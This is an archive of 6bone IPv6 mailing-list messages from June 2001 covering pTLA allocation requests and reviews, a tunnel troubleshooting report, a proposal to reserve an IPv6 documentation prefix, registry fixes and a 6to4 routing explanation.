>% >0.0.2.0.0.0.0.0.0.0.0.0.0.0.0.0.2.0.0.0.7.2.0.8.0.0.C.0.e.F.F.3.IP6.INT.
>% >86400 IN PTR labtyripv6.ipv6.itesm.mx.
>% >
>% >;; AUTHORITY SECTION:
>% >7.2.0.8.0.0.C.0.e.F.F.3.IP6.INT. 86400 IN NS    mainipv6.ipv6.itesm.mx.
>% >This DNS use the named.root file from IPv6 staff - Viagenie Inc.
>% >For example this query
>% >  [root@mainipv6 /root]# dig @3ffe:c00:8027:2::9 in .
>% >
>% >;; QUESTION SECTION:
>% >;.                              IN      A
>% >;; AUTHORITY SECTION:
>% >.                       9269    IN      SOA     dnsrs.viagenie.com.
>% >ipv6.viagenie.qc.ca. 2001032501 1800 900 604800 86400
>% >
>% >
>% >       d. A fully maintained, and reliable, IPv6-accessible system
>% >          providing, at a mimimum, one or more web pages, describing the
>% >          Applicant's IPv6 services.  This server must be IPv6 pingable.
>% >
>% >
>% >
>% >Our site IS IPv6 accessible  http://www.ipv6.itesm.mx
>% >(http://[3ffe:c00:8027:2::200]), there is a description
>% >of our services.
>% >
>% >
>% >2. The pTLA Applicant MUST have the ability and intent to provide
>% >       "production-quality" 6Bone backbone service. Applicants must
>% >       provide a statement and information in support of this claim.
>% >       This MUST include the following:
>% >
>% >       a. A support staff of two persons minimum, three preferable, with
>% >          person attributes registered for each in the ipv6-site object
>% >          for the pTLA applicant.
>% >The person attributes registeres are :
>% >person: Alfredo Lopez
>% >Person: Ricardo Castaneda
>% >
>% >       b. A common mailbox for support contact purposes that all support
>% >          staff have acess to, pointed to with a notify attribute in the
>% >          ipv6-site object for the pTLA Applicant.
>% >
>% >    The common mailbox for support contact has the two person objects
>% > mentioned before
>% >and is copied to the ipv6 staff of the ITESM in Mexico conformed by 6 more
>% >persons
>% >(5 for each 6 campus in the ITESM)
>% >
>% >3. The pTLA Applicant MUST have a potential "user community" that
>% >       would be served by its becoming a pTLA, e.g., the Applicant is a
>% >       major provider of Internet service in a region, country, or focus
>% >       of interest. Applicant must provide a statement and information in
>% >       support this claim.
>% >
>% >    ITESM Network has a user community made up of more than 85,000
>% > students plus teachers, researchers
>% >and personal working at the ITESM all over Latin America
>% >(http://www.itesm.mx/campus).
>% >
>% >    ITESM Network provides service to students, teachers and researchers
>% > besides of several
>% >educational and governmental institutes of Mexico ,therefore it is
>% >considered the most important
>% >educational and research center of Latinoamerica.
>% >
>% >    ITESM Ipv6 Network deployment is a task effort  of many educational
>% > institutes and companies
>% >of Mexico like ITESM Campus Monterrey (http://www.mty.itesm.mx),
>% >NIC-Mexico (http://www.nic.mx)
>% >Virtual University of Mexico (http://www.ruv.itesm.mx), Alestra
>% >(http://www.alestra.com.mx) and
>% >every single campus that constitutes the ITESM (30 campus).
>% >This effort (working group) puts us as the biggest Internet Service
>% >Provider of our country.
>% >
>% >    ITESM has been the bedrock of the network development and
>% > research  because
>% >in 1986 it was the first Educational Institute to be part of EDUCOM,
>% >having one 2600bps
>% >link to Texas University in San Antonio.
>% >    Within Internet2 effort (CUDI http://www.cudi.edu.mx), ITESM is the
>% > main participant working with
>% >workgroups such as  Ipv6 , Multicast ipv4/ipv6 , Virtual Private Networks,
>% >H.323 (streaming and
>% >videoconference,video over demand), voice over ip, routing policies,
>% >Quality of Service, MPLS, etc ...
>% >urging the need of a full ipv4/ipv6 functional network notwithstanding if
>% >we are serving ipv4 or
>% >ipv6 networks.
>% >Project ITESM-ALESTRA: IPv6 WAN interconnections   (no tunnel) . If you
>% >wanna know more about this
>% >project please contact me
>% >
>% >4. The pTLA Applicant MUST commit to abide by the current 6Bone
>% >       operational rules and policies as they exist at time of its
>% >       application, and agree to abide by future 6Bone backbone
>% >       operational rules and policies as they evolve by consensus of the
>% >       6Bone backbone and user community.
>% >
>% >    We understand the 6Bone operational rules and policie routing
>% > practices and we strongly agree
>% >    with them all. In our site we are updating a database of all RFC´s
>% > relationated with IPv6.
>% >
>% >We are looking forward to service ipv6 as it should be and we hope you can
>% >help us Bob
>% >
>% >Regards from Mexico
>%
>%
>
>
>--
>--bill

Federico Andrade
IPv6 Network Engineer/Administrator

NTT - Multimedia Communication Laboratories, Inc.
250 Cambridge Av. Suite 300. Palo Alto, CA. 94306
tel://650.833.3655             fax://650.326.1878



From 6bone-owner  Tue Jun  5 16:42:59 2001
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	(envelope-from nsayer@quack.kfu.com)
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Date: Tue, 05 Jun 2001 16:43:07 -0700
From: Nick Sayer <nsayer@quack.kfu.com>
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Subject: Tunnel problems
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Hi. I run KFU and have had a tunnel to DIGITAL-CA for quite a while now.

About a month ago, it stopped working. I've traded some mail with the 
admin of DIGITAL-CA, but I wonder if what I'm seeing could explain any 
of this.

I can see packets from the net arrive through the tunnel. If someone 
using 6to4 ping6s me, it actually works, since the packets come down 
through the tunnel, then go back out via 6to4.

But if I send packets out through the tunnel, they never get there. 
traceroute6 doesn't show them making the first hop. traceroute (ipv4) 
with (or without) -P 41 shows that there's nothing wrong with the ipv4 
path between me and the tunnel endpoint.

The only other nodes on the Internet I have access to are 6to4, but I 
did manage to perform one test which puzzled me.

I did a traceroute6 -n quack.kfu.com. Here's what I got:

traceroute6 to quack.kfu.com (3ffe:1200:301b:0:2d0:b7ff:febe:e2a8) from 
2002:xxxx:xxxx:0:xxxx:xxxx:xxxx:xxxx, 30 hops max, 12 byte packets
  1  2002:xxxx:xxxx:0:yyyy:yyyy:yyyy:yyyy  0.333 ms  0.234 ms  0.217 ms
  2  2002:zzzz:zzzz::1  9.925 ms *  9.335 ms
  3  3ffe:3600::9  177.727 ms *  178.057 ms
  4  3ffe:1200:301b:0:2d0:b7ff:febe:e2a8  59.383 ms  26.588 ms  26.058 ms

(I'm obscuring the 6to4 addresses because I don't think it matters where 
on 6to4 this takes place. I've done it from a couple places and got the 
same answer. I even tried traceroute6 -g www.6bone.net quack.kfu.com and 
got the same last-hop).

3ffe:3600::9 is, according to the registry, in Taiwan!

Nevertheless, when I do this, a tcpdump happening back on the LAN at KFU 
shows the packets arriving in their encapsulation from the right IPv4 
address.

Is traceroute6 somehow missing some of the hops between Taiwan and 
DIGITAL-CA? Or does this have to do with the fact that the reply route 
is different from the source route since the source is using 6to4?



From 6bone-owner  Tue Jun  5 18:03:18 2001
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From: nils@burk.hax.se
Date: Wed, 6 Jun 2001 03:03:27 +0200
To: Bob Fink <fink@es.net>
Cc: 6BONE List <6bone@ISI.EDU>, Alfredo Lopez <alopez@tyr.mty.itesm.mx>
Subject: Re: pTLA request for ITESM (www.itesm.mx) - review closes 9 June 2001
Message-ID: <20010606030326.A20291@Burk.hax.SE>
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On Mon, Jun 04, 2001 at 05:18:18PM -0700, Bob Fink wrote:
> 6bone Folk,
> 
> ITESM (www.itesm.mx) has requested a pTLA allocation. The open review 
> period for this request will close 18 June 2001. Please send your comments 
> to me or the list.

Are anyone allowed to comment/object/support theese requests?


Regards,
Nils Höglund

From 6bone-owner  Tue Jun  5 20:19:36 2001
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Date: Tue, 5 Jun 2001 23:19:29 -0400
From: "Michael H. Warfield" <mhw@wittsend.com>
To: nils@burk.hax.se
Cc: Bob Fink <fink@es.net>, 6BONE List <6bone@ISI.EDU>,
        Alfredo Lopez <alopez@tyr.mty.itesm.mx>
Subject: Re: pTLA request for ITESM (www.itesm.mx) - review closes 9 June 2001
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On Wed, Jun 06, 2001 at 03:03:27AM +0200, nils@burk.hax.se wrote:
> On Mon, Jun 04, 2001 at 05:18:18PM -0700, Bob Fink wrote:
> > 6bone Folk,

> > ITESM (www.itesm.mx) has requested a pTLA allocation. The open review 
> > period for this request will close 18 June 2001. Please send your comments 
> > to me or the list.

> Are anyone allowed to comment/object/support theese requests?

	Isn't that a silly question?

	Of course anyone would be allowed to comment/object/support.
Nothing prohibits you.  The question really is, will it have any
influence or will anyone listen.  Nothing is stopping anyone from
commenting.

> Regards,
> Nils Höglund

	Mike
-- 
 Michael H. Warfield    |  (770) 985-6132   |  mhw@WittsEnd.com
  (The Mad Wizard)      |  (678) 463-0932   |  http://www.wittsend.com/mhw/
  NIC whois:  MHW9      |  An optimist believes we live in the best of all
 PGP Key: 0xDF1DD471    |  possible worlds.  A pessimist is sure of it!


From 6bone-owner  Wed Jun  6 07:19:19 2001
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Date: Wed, 06 Jun 2001 07:10:14 -0700
To: nils@burk.hax.se
From: Bob Fink <fink@es.net>
Subject: Re: pTLA request for ITESM (www.itesm.mx) - review closes 9
  June 2001
Cc: 6BONE List <6bone@ISI.EDU>, Alfredo Lopez <alopez@tyr.mty.itesm.mx>
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Nils,

At 03:03 AM 6/6/2001 +0200, nils@burk.hax.se wrote:
>On Mon, Jun 04, 2001 at 05:18:18PM -0700, Bob Fink wrote:
> > 6bone Folk,
> >
> > ITESM (www.itesm.mx) has requested a pTLA allocation. The open review
> > period for this request will close 18 June 2001. Please send your comments
> > to me or the list.
>
>Are anyone allowed to comment/object/support theese requests?

Of course. Just send me the comment(s).


Bob


From 6bone-owner  Wed Jun  6 07:19:20 2001
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Date: Wed, 06 Jun 2001 07:12:58 -0700
To: "Michael H. Warfield" <mhw@wittsend.com>, nils@burk.hax.se
From: Bob Fink <fink@es.net>
Subject: Re: pTLA request for ITESM (www.itesm.mx) - review closes 9
  June 2001
Cc: 6BONE List <6bone@ISI.EDU>, Alfredo Lopez <alopez@tyr.mty.itesm.mx>
In-Reply-To: <20010605231929.A847@alcove.wittsend.com>
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At 11:19 PM 6/5/2001 -0400, Michael H. Warfield wrote:
>On Wed, Jun 06, 2001 at 03:03:27AM +0200, nils@burk.hax.se wrote:
> > On Mon, Jun 04, 2001 at 05:18:18PM -0700, Bob Fink wrote:
> > > 6bone Folk,
>
> > > ITESM (www.itesm.mx) has requested a pTLA allocation. The open review
> > > period for this request will close 18 June 2001. Please send your 
> comments
> > > to me or the list.
>
> > Are anyone allowed to comment/object/support theese requests?
>
>         Isn't that a silly question?

Well, sometimes folks are not clear about this for good reason, so... not 
silly.


>         Of course anyone would be allowed to comment/object/support.
>Nothing prohibits you.  The question really is, will it have any
>influence or will anyone listen.  Nothing is stopping anyone from
>commenting.

Believe me, it DOES influence the process as I've done all of these pTLA 
requests since the start.


Thanks,

Bob


From 6bone-owner  Wed Jun  6 07:25:23 2001
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Date: Wed, 6 Jun 2001 16:25:19 +0200
From: "Steinar H. Gunderson" <sgunderson@bigfoot.com>
To: 6BONE List <6bone@ISI.EDU>
Subject: Re: pTLA request for ITESM (www.itesm.mx) - review closes 9 June 2001
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On Tue, Jun 05, 2001 at 11:19:29PM -0400, Michael H. Warfield wrote:
>> > ITESM (www.itesm.mx) has requested a pTLA allocation. The open review 
>> > period for this request will close 18 June 2001. Please send your comments 
>> > to me or the list.
>	Of course anyone would be allowed to comment/object/support.
>Nothing prohibits you.  The question really is, will it have any
>influence or will anyone listen.  Nothing is stopping anyone from
>commenting.

Well, it actually talks about "the open review period", plus says "send
your comments to me or the list"... Shouldn't that make it clear that
commenting is 1) allowed, 2) desired (if there is any useful input),
_and_ 3) influential?

/* Steinar */
-- 
Homepage: http://members.xoom.com/sneeze/

From 6bone-owner  Wed Jun  6 07:45:57 2001
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        6BONE List <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
Subject: Re: pTLA request for ITESM (www.itesm.mx) - review closes 9
  June 2001
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At 04:25 PM 6/6/2001 +0200, Steinar H. Gunderson wrote:
>On Tue, Jun 05, 2001 at 11:19:29PM -0400, Michael H. Warfield wrote:
> >> > ITESM (www.itesm.mx) has requested a pTLA allocation. The open review
> >> > period for this request will close 18 June 2001. Please send your 
> comments
> >> > to me or the list.
> >       Of course anyone would be allowed to comment/object/support.
> >Nothing prohibits you.  The question really is, will it have any
> >influence or will anyone listen.  Nothing is stopping anyone from
> >commenting.
>
>Well, it actually talks about "the open review period", plus says "send
>your comments to me or the list"... Shouldn't that make it clear that
>commenting is 1) allowed, 2) desired (if there is any useful input),
>_and_ 3) influential?

I'll take a look and add something to make it clearer.


Thanks,

Bob


From 6bone-owner  Wed Jun  6 12:18:07 2001
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Date: Wed, 6 Jun 2001 22:18:09 +0300 (EEST)
From: Pekka Savola <pekkas@netcore.fi>
To: Bob Fink <fink@es.net>
cc: 6BONE List <6bone@ISI.EDU>
Subject: pTLA request comments [was: ...]
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On Wed, 6 Jun 2001, Bob Fink wrote:
> >         Of course anyone would be allowed to comment/object/support.
> >Nothing prohibits you.  The question really is, will it have any
> >influence or will anyone listen.  Nothing is stopping anyone from
> >commenting.
>
> Believe me, it DOES influence the process as I've done all of these pTLA
> requests since the start.

Just out of curiousity (by commenting, I mean all
comment/object/support/etc.),

 - has a request ever been denied based on comments?
 - has a request ever passed that would otherwise have been denied were
it not for comments?

Ie, has this shown in practise?

-- 
Pekka Savola                 "Tell me of difficulties surmounted,
Netcore Oy                   not those you stumble over and fall"
Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords


From 6bone-owner  Wed Jun  6 15:26:26 2001
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To: Pekka Savola <pekkas@netcore.fi>
From: Bob Fink <fink@es.net>
Subject: Re: pTLA request comments [was: ...]
Cc: 6BONE List <6bone@ISI.EDU>
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Pekka,

At 10:18 PM 6/6/2001 +0300, Pekka Savola wrote:
>On Wed, 6 Jun 2001, Bob Fink wrote:
> > >         Of course anyone would be allowed to comment/object/support.
> > >Nothing prohibits you.  The question really is, will it have any
> > >influence or will anyone listen.  Nothing is stopping anyone from
> > >commenting.
> >
> > Believe me, it DOES influence the process as I've done all of these pTLA
> > requests since the start.
>
>Just out of curiousity (by commenting, I mean all
>comment/object/support/etc.),
>
>  - has a request ever been denied based on comments?
>  - has a request ever passed that would otherwise have been denied were
>it not for comments?
>
>Ie, has this shown in practise?

One was denied, if I remember correctly, very early in the 6bone process 5 
years ago. Several applicants had to do some more work to get their pTLA, 
based on comments.

I have been inclined to deny even accepting applications from a few, but 
was persuaded by comments, though it was by private email.

Others I have gently persuaded to withdraw their application as they didn't 
pass the criteria, IMO.

All in all it has been a useful and open process. By this I mean if someone 
does disagree with my pre-filtering, I will put it on the mailer and see 
what responses I/we get. I never unilaterally decide these things.


Bob


From 6bone-owner  Wed Jun  6 18:43:58 2001
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Date: Wed, 06 Jun 2001 18:43:12 -0700
To: 6BONE List <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
Subject: pTLA 3FFE:FFF0::/28 for test & example use per
  draft-blanchet-ipngwg-testadd-00.txt, closes 20Jun01
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6bone folk,

You can see from the email exchange below, and the draft at:

<http://search.ietf.org/internet-drafts/draft-blanchet-ipngwg-testadd-00.txt>

"Abstract To reduce the likelihood of conflict and confusion, an IPv6 
prefix is reserved for use in private testing or as examples in other RFCs, 
documentation, and the like. Since site local addresses have special 
meaning in IPv6, these cannot be used in many example situations and are 
confusing. Instead, an IPv6 prefix is reserved in the range of the test 
address space."


that Marc Blanchet has proposed a 6bone pTLA prefix be assigned for private 
testing or examples in RFCs.

I propose assigning the 6bone pTLA 3FFE:FFF0::/28 for this purpose. It is 
at the very top of the 28-bit 6bone prefix range, and is only a tiny part 
(1/2048th) of that prefix space.

IMO, the likelihood of the 6bone testing address space of 3FFE::/16 going 
away in the foreseeable future is no more likely than the complete 
deprecation and disappearance of the current aggregatable global unicast 
address space, in which case all this would be irrelevant.

Anyway, if you have any comments on this please reply to me or the list by 
20 June.


Thanks,

Bob

===
>Date: Wed, 06 Jun 2001 17:48:07 -0400
>To: Alain Durand <Alain.Durand@sun.com>, Bill Manning <bmanning@ISI.EDU>,
>    fink@es.net
>From: Marc Blanchet <Marc.Blanchet@viagenie.qc.ca>
>Subject: Re: wrt: draft-blanchet-ipngwg-testadd-00.txt
>Cc: ipng@sunroof.eng.sun.com
>
>there was suggestion to not use 3ffe::/16 space so that it can be later 
>(humm, do not know how many years...) reclaimed and reused as part of the 
>001b/3 current addressing architecture.  So may be something out of 
>2000::/3 is the right thing, I don't know, and actually, I don't care. My 
>point was to reserve a space, any space, for documentation/examples/... 
>purposes.
>
>Marc.
>
>At/À 12:08 2001-06-06 -0700, Alain Durand you wrote/vous écriviez:
>>At 11:50 AM 6/6/2001 -0700, Bill Manning wrote:
>>
>>>         Strong Objections to this tactic.  If you want a 6bone prefix,
>>>         you should follow the process. Hijacking is bad form. I'm
>>>         sure Bob would be amenable to making the delegation, but
>>>         asking is appropriate.
>>
>>This is the reason why I had Cced Bob to this thread.
>>
>>Bob:
>>- do you think it would be appropriate to use a 6bone ptla for that purpose?
>>- what should be the formal process to follow?
>>- would you have any preferences? 3ffe:ff00::/24, 3ffe:5550::/28, 
>>anything else?
>>
>>         - Alain.
>>
>>--------------------------------------------------------------------
>>IETF IPng Working Group Mailing List
>>IPng Home Page:                      http://playground.sun.com/ipng
>>FTP archive:                      ftp://playground.sun.com/pub/ipng
>>Direct all administrative requests to majordomo@sunroof.eng.sun.com
>>--------------------------------------------------------------------
>



From 6bone-owner  Thu Jun  7 00:36:55 2001
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To: Bob Fink <fink@es.net>, 6BONE List <6bone@ISI.EDU>
From: Marc Blanchet <Marc.Blanchet@viagenie.qc.ca>
Subject: Re: pTLA 3FFE:FFF0::/28 for test & example use per
  draft-blanchet-ipngwg-testadd-00.txt, closes 20Jun01
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- the initial proposal was 3ffe:ff00::/24 so that one can illustrate 
multiple prefixes (/28) in different situations like examples of exchange 
points with multiple pTLA prefixes being exchanged.
- I would prefer a /24 or so, but I'm fine with any reserved space. any 
reserved space is better than none.

Marc.

PS. BTW, I'm currently updating the draft to remove all references to 
test-private networks and will add a note that the defined prefix must not 
be used for testing, instead site-local must be used.

At/À 18:43 2001-06-06 -0700, Bob Fink you wrote/vous écriviez:
>6bone folk,
>
>You can see from the email exchange below, and the draft at:
>
><http://search.ietf.org/internet-drafts/draft-blanchet-ipngwg-testadd-00.txt>
>
>"Abstract To reduce the likelihood of conflict and confusion, an IPv6 
>prefix is reserved for use in private testing or as examples in other 
>RFCs, documentation, and the like. Since site local addresses have special 
>meaning in IPv6, these cannot be used in many example situations and are 
>confusing. Instead, an IPv6 prefix is reserved in the range of the test 
>address space."
>
>
>that Marc Blanchet has proposed a 6bone pTLA prefix be assigned for 
>private testing or examples in RFCs.
>
>I propose assigning the 6bone pTLA 3FFE:FFF0::/28 for this purpose. It is 
>at the very top of the 28-bit 6bone prefix range, and is only a tiny part 
>(1/2048th) of that prefix space.
>
>IMO, the likelihood of the 6bone testing address space of 3FFE::/16 going 
>away in the foreseeable future is no more likely than the complete 
>deprecation and disappearance of the current aggregatable global unicast 
>address space, in which case all this would be irrelevant.
>
>Anyway, if you have any comments on this please reply to me or the list by 
>20 June.
>
>
>Thanks,
>
>Bob
>
>===
>>Date: Wed, 06 Jun 2001 17:48:07 -0400
>>To: Alain Durand <Alain.Durand@sun.com>, Bill Manning <bmanning@ISI.EDU>,
>>    fink@es.net
>>From: Marc Blanchet <Marc.Blanchet@viagenie.qc.ca>
>>Subject: Re: wrt: draft-blanchet-ipngwg-testadd-00.txt
>>Cc: ipng@sunroof.eng.sun.com
>>
>>there was suggestion to not use 3ffe::/16 space so that it can be later 
>>(humm, do not know how many years...) reclaimed and reused as part of the 
>>001b/3 current addressing architecture.  So may be something out of 
>>2000::/3 is the right thing, I don't know, and actually, I don't care. My 
>>point was to reserve a space, any space, for documentation/examples/... 
>>purposes.
>>
>>Marc.
>>
>>At/À 12:08 2001-06-06 -0700, Alain Durand you wrote/vous écriviez:
>>>At 11:50 AM 6/6/2001 -0700, Bill Manning wrote:
>>>
>>>>         Strong Objections to this tactic.  If you want a 6bone prefix,
>>>>         you should follow the process. Hijacking is bad form. I'm
>>>>         sure Bob would be amenable to making the delegation, but
>>>>         asking is appropriate.
>>>
>>>This is the reason why I had Cced Bob to this thread.
>>>
>>>Bob:
>>>- do you think it would be appropriate to use a 6bone ptla for that purpose?
>>>- what should be the formal process to follow?
>>>- would you have any preferences? 3ffe:ff00::/24, 3ffe:5550::/28, 
>>>anything else?
>>>
>>>         - Alain.
>>>
>>>--------------------------------------------------------------------
>>>IETF IPng Working Group Mailing List
>>>IPng Home Page:                      http://playground.sun.com/ipng
>>>FTP archive:                      ftp://playground.sun.com/pub/ipng
>>>Direct all administrative requests to majordomo@sunroof.eng.sun.com
>>>--------------------------------------------------------------------



From 6bone-owner  Thu Jun  7 01:45:22 2001
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From: Robert Elz <kre@munnari.OZ.AU>
To: Bob Fink <fink@es.net>
cc: 6BONE List <6bone@ISI.EDU>
Subject: Re: pTLA 3FFE:FFF0::/28 for test & example use per draft-blanchet-ipngwg-testadd-00.txt, closes 20Jun01 
In-Reply-To: <5.1.0.14.0.20010606182835.00af9bd8@imap2.es.net> 
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    Date:        Wed, 06 Jun 2001 18:43:12 -0700
    From:        Bob Fink <fink@es.net>
    Message-ID:  <5.1.0.14.0.20010606182835.00af9bd8@imap2.es.net>

  | that Marc Blanchet has proposed a 6bone pTLA prefix be assigned for private
  | testing or examples in RFCs.

Yes.

  | I propose assigning the 6bone pTLA 3FFE:FFF0::/28 for this purpose.

No, please don't do that - that's just as bad as the example that Marc
selected and used in the draft.

What's needed is an address block that is patently invalid, not one
that comes from a valid range, but just happens to be unassigned.

That is, it should have an appearance more like net 127 in the v4
space (which of course, is only "patently invalid" with hindsight,
but in v4 there was no other real choice), that is, rather than the
rfc1918 set of nets, which you can only detect are "different" by
very close attention to the RFCs.

Make the address block for this purpose be one that can trivially, and
safely, be filtered by everyone, forever, and easily.  That is, one
that never is, or will be, valid for use for IPv6 forwarding.

The whole point of the kind of "dummy" address that Marc is proposing
(and it is a good idea, we should do it) is that it must never be
thought by anyone to be an actual address that can be used.

I'd suspect that something in the FE::/8 range would be the right choice
(the 0000:: range is the other possibility, but those addresses don't
look enough like "normal" IPv6 addresses to really meet the purpose).

kre


From 6bone-owner  Fri Jun  8 04:14:50 2001
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Date: Fri, 8 Jun 2001 08:09:53 -0300
From: horape@tinuviel.compendium.net.ar
To: 6bone@ISI.EDU
Subject: Problems with the registry.
Message-ID: <20010608080953.A15319@tinuviel.compendium.net.ar>
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¡Hola!

I've written to registry@viagenie.qc.ca, but received no answer so I ask
publically for somebody who can help us.

When trying to register the new Columbian island we get:

 *ERROR*:      unknown country code: "CO"
 *ERROR*:      contact  for addition to the valid country list
 *ERROR*:      if you believe that CO is a valid ISO 3166 country code

as the answer (CO is, of course, the ISO 3166 country code for Colombia)

Is somebody here able to correct that?

Thanks,
					HoraPe
---
Horacio J. Peña
horape@compendium.com.ar
horape@uninet.edu
bofh@puntoar.net.ar
horape@hcdn.gov.ar

From 6bone-owner  Fri Jun  8 10:59:55 2001
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Date: Fri, 8 Jun 2001 10:55:31 -0700
From: David Kessens <david@IPRG.nokia.com>
To: horape@tinuviel.compendium.net.ar
Cc: 6bone@ISI.EDU
Subject: Re: Problems with the registry.
Message-ID: <20010608105531.A15317@iprg.nokia.com>
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Horacio,

On Fri, Jun 08, 2001 at 08:09:53AM -0300, horape@tinuviel.compendium.net.ar wrote:
> 
> I've written to registry@viagenie.qc.ca, but received no answer so I ask
> publically for somebody who can help us.
> 
> When trying to register the new Columbian island we get:
> 
>  *ERROR*:      unknown country code: "CO"
>  *ERROR*:      contact  for addition to the valid country list
>  *ERROR*:      if you believe that CO is a valid ISO 3166 country code
> 
> as the answer (CO is, of course, the ISO 3166 country code for Colombia)
> 
> Is somebody here able to correct that?

The original error message that was send by the database software
contained the email address of the person to contact about this
problem and it also mentioned that the country code possibly had to be
added manually by the database maintainer. Looking at your email
message, it looks like the email address was stripped out by the
viagenie database webinterface. I will contact them and I am sure that
they will fix that as soon as possible.

I have added 'CO' to the list of possible country codes so you should
be fine now. Don't hesitate to contact me privately if you have more
questions.

Thanks,

David K.
---

From 6bone-owner  Sat Jun  9 11:33:38 2001
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Date: Sat, 09 Jun 2001 10:55:14 -0700
To: 6BONE List <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
Subject: 6bone pTLA 3FFE:8220::/28 allocated to DREN
Cc: Bill Manning <bmanning@ISI.EDU>, "Ron Broersma" <ron@spawar.navy.mil>
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DREN has been allocated pTLA 3FFE:8220::/28 having finished its 2-week 
review period.

<http://whois.6bone.net/cgi-bin/whois?DREN>


Note that it will take a short while for their pTLA inet6num entry to 
appear in the 6bone registry as they have to create it themselves. However, 
their registration is listed on:

<http://www.6bone.net/6bone_pTLA_list.html>	


Thanks,

Bob


From 6bone-owner  Sat Jun  9 11:33:40 2001
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Date: Sat, 09 Jun 2001 11:28:39 -0700
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From: Bob Fink <fink@es.net>
Subject: 6bone pTLA 3FFE:8230::/28 allocated to INTEC
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INTEC has been allocated pTLA 3FFE:8230::/28 having finished its 2-week 
review period.

<http://whois.6bone.net/cgi-bin/whois?INTEC>


Note that it will take a short while for their pTLA inet6num entry to 
appear in the 6bone registry as they have to create it themselves. However, 
their registration is listed on:

<http://www.6bone.net/6bone_pTLA_list.html>	


Thanks,

Bob


From 6bone-owner  Tue Jun 12 02:30:14 2001
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Date: Tue, 12 Jun 2001 17:30:00 +0800 (MYT)
From: Raja Azlina Raja Mahmood <ina@mimos.my>
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Hi All,
We had just implemented our tunnel broker and would like to
invite you to try it out(tbroker.manis.net.my).  Appreciate 
if you could inform us your OS(version ??) and the status.
We value your feedback.
  
Unfortunately, the OSes covered are limited to Linux, WinNT/2OOO 
and *BSD.  If there's a request, we'll try to incorporate other
OS as well.  

We are trying to provide /48 subnet but not sure how it is done.
Appreciate if others can share their experience in doing so.  Thanks.

regards,
~azlina

----------------------------------------------------
Visit us at: www.manis.net.my
----------------------------------------------------


From 6bone-owner  Tue Jun 12 09:42:28 2001
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Date: Tue, 12 Jun 2001 12:42:17 -0400
From: John Comeau <jcomeau@dialtoneinternet.net>
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Subject: 6to4 clarification needed
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I've read all I could find on the web regarding 6to4, and am somewhat
confused. Since the IPV4 address of the target router is embedded in the IPV6
address, shouldn't my IPV6 stack be smart enough to follow ipv4 routing for
all 6to4 traffic? So, my relay router would only need to be used for inbound
traffic and for non-6to4 IPV6 outbound traffic?

I was thinking of hacking the sit.c source to make it treat 6to4 traffic in
this manner. Or has someone already done this for linux? Is the freebsd stf
device what I'm looking for?

Of course I could, as some 6to4 descriptions say, route all my IPV6 traffic to
the relay router, but isn't that somehow defeating the beauty of the 6to4
mechanism, being able to use all my available links to route the traffic? Not
to mention, if another host on my network starts using 6to4, it doesn't make
much sense having to talk to him via the 6bone when he's reachable on my LAN.
-- 
John Comeau - Chief Technology Officer 
Dialtone Internet - Extremely Fast Web Systems 
phone://954-581-0097x113  fax://954-581-7629 
mailto://jcomeau@dialtoneinternet.net  http://www.dialtoneinternet.net

From 6bone-owner  Tue Jun 12 14:18:02 2001
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Date: Wed, 13 Jun 2001 00:17:46 +0300 (EEST)
From: Pekka Savola <pekkas@netcore.fi>
To: John Comeau <jcomeau@dialtoneinternet.net>
cc: <6bone@ISI.EDU>
Subject: Re: 6to4 clarification needed
In-Reply-To: <3B264669.54C3013C@dialtoneinternet.net>
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On Tue, 12 Jun 2001, John Comeau wrote:
> I've read all I could find on the web regarding 6to4, and am somewhat
> confused. Since the IPV4 address of the target router is embedded in the IPV6
> address, shouldn't my IPV6 stack be smart enough to follow ipv4 routing for
> all 6to4 traffic? So, my relay router would only need to be used for inbound
> traffic and for non-6to4 IPV6 outbound traffic?
>
> I was thinking of hacking the sit.c source to make it treat 6to4 traffic in
> this manner. Or has someone already done this for linux? Is the freebsd stf
> device what I'm looking for?

This is exactly what's happening; if the destination address is a 6to4
address, a tunnel is created automatically (in sit.c in Linux 2.4).

FreeBSD stf does the same thing.

> Of course I could, as some 6to4 descriptions say, route all my IPV6 traffic to
> the relay router, but isn't that somehow defeating the beauty of the 6to4
> mechanism, being able to use all my available links to route the traffic? Not
> to mention, if another host on my network starts using 6to4, it doesn't make
> much sense having to talk to him via the 6bone when he's reachable on my LAN.

The tunneling is done before routing table is considered, so adding
2000::/3 to point to your relay router will not route _6to4_ traffic
there.

You can observe the behaviour by running tcpdump when pinging 6to4
addresses.

-- 
Pekka Savola                 "Tell me of difficulties surmounted,
Netcore Oy                   not those you stumble over and fall"
Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords


From 6bone-owner  Tue Jun 12 14:51:10 2001
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From: "Tony Hain" <alh-ietf@tndh.net>
To: <jcomeau@dialtoneinternet.net>, <6bone@ISI.EDU>
Subject: RE: 6to4 clarification needed
Date: Tue, 12 Jun 2001 14:50:57 -0700
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John,

Part of your confusion appears to be separating the destinations with
IPv4-derived prefixes from those with other global prefixes (frequently
called native). Sorting through the terminology, the 6to4-relay is a router
that ties the environment using native prefixes to the IPv4 network so that
6to4-routers at sites can access the native environment. When 6to4-routers
tunnel with each other they extract the IPv4 address, but when the
destination prefix has no IPv4 component they simply 'default' to the
6to4-relay.

Another part appears to be deciding when a host would act as its own
6to4-router vs. having the IPv4 router also provide that function. The
simple answer is this is a local decision, but if the router is providing
the service it should do so in both directions. It appears from your
description that you have a fully routed public IPv4 network; so all hosts
could (and in my opinion should) act as their own 6to4-router. If my
interpretation is true, they would talk over local tunnels rather than
through the 6bone. The implementation where the difference is easy to
describe is when the IPv4 environment is broken by NAT. In those cases the
NAT should act as the 6to4-router since it is the one that knows the current
public IPv4 address. If it is a dumb NAT, one of the hosts behind it could
be configured to act as the IPv6 router for the segment by providing it with
knowledge of the public IPv4 address, while configuring the NAT to pass
protocol 41 traffic to it (of course manual configuration and dynamically
allocated IPv4 addresses create an interesting operational concern). Either
way there is one device acting as the IPv6 router, sending RAs to the
segment so the other hosts believe they are on an IPv6 network. While it
would be possible to configure each host behind a NAT to act as its own
router for the outbound traffic, the inbound would have to go through the
one the NAT knows about, so the result is operational awkward and more
difficult to debug than necessary. It would work without any hack to
existing code necessary, but would require significant configuration
maintenance.

Hope this helps,
Tony

-----Original Message-----
